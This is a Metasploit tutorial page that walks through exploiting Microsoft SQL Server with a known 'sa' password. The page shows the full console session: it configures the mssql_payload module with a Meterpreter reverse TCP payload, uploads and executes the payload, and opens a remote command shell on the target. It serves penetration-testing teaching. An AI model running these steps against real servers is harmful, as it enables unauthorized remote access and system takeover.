Payloads Through MSSQL a11y.text Payloads Through MSSQL In the previous section, we created a very basic module to get a better understanding of the principles behind a build. This section briefly explains passing payloads using the MSSQL module. The code presented currently works on the following installations of Microsoftâ€™s SQL Server: 2000, 2005, and 2008. We will first walk through the code and explain how this attack vector works before making our own from the ground up. When an administrator first installs MSSQL, they have the option of using either mixed-mode authentication or SQL-based authentication. Using the latter, a password for the â€˜saâ€™ account must be specified by the administrator. The â€˜saâ€™ account is the systems administrator for the SQL server and has most, if not all, permissions on the system. Guessing this password, either using social engineering or other means, one can leverage this attack vector using Metasploit and perform additional actions. In a previous module, we discussed discovering which TCP port MSSQL is using by querying UDP port 1434 and executing dictionary attacks for guessing the â€˜saâ€™ password. For our purposes, weâ€™ll assume we are aware of the SQL system administratorâ€™s account password. If you wish to recreate this attack, you will need to have a working copy of Microsoft Windows as well as any of the previously mentioned versions of MSSQL. Letâ€™s launch the attack:

```
msf > use windows/mssql/mssql_payload
msf exploit(mssql_payload) > options

Module options (exploit/windows/mssql/mssql_payload):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   METHOD               cmd              yes       Which payload delivery method to use (ps, cmd, or old)
   PASSWORD                              no        The password for the specified username
   RHOST                                 yes       The target address
   RPORT                1433             yes       The target port (TCP)
   SRVHOST              0.0.0.0          yes       The local host to listen on. This must be an address on
the local machine or 0.0.0.0
   SRVPORT              8080             yes       The local port to listen on.
   SSL                  false            no        Negotiate SSL for incoming connections
   SSLCert                               no        Path to a custom SSL certificate (default is randomly
generated)
   TDSENCRYPTION        false            yes       Use TLS/SSL for TDS data "Force Encryption"
   URIPATH                               no        The URI to use for this exploit (default is random)
   USERNAME             sa               no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires
DOMAIN option set)



Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(mssql_payload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST 10.10.1.103
LHOST => 10.10.1.103
msf exploit(mssql_payload) > set RHOST 172.16.153.129
RHOST => 172.16.153.129
msf exploit(mssql_payload) > set LPORT 8080
```

```
LPORT => 8080

msf exploit(mssql_payload) > set PASSWORD ihazpassword

MSSQL_PASS => ihazpassword

msf exploit(mssql_payload) > exploit


[*] Started reverse handler on port 8080

[*] Warning: This module will leave QiRYOlUK.exe in the SQL Server %TEMP% directory

[*] Writing the debug.com loader to the disk...

[*] Converting the debug script to an executable...

[*] Uploading the payload, please be patient...

[*] Converting the encoded payload...

[*] Executing the payload...

[*] Sending stage (719360 bytes)

[*] Meterpreter session 1 opened (10.10.1.103:8080 -> 10.10.1.103:47384)


meterpreter > execute -f cmd.exe -i

Process 3740 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.


C:\WINDOWS\system32>
```
Next Creating Our Auxiliary Module Prev Building A Module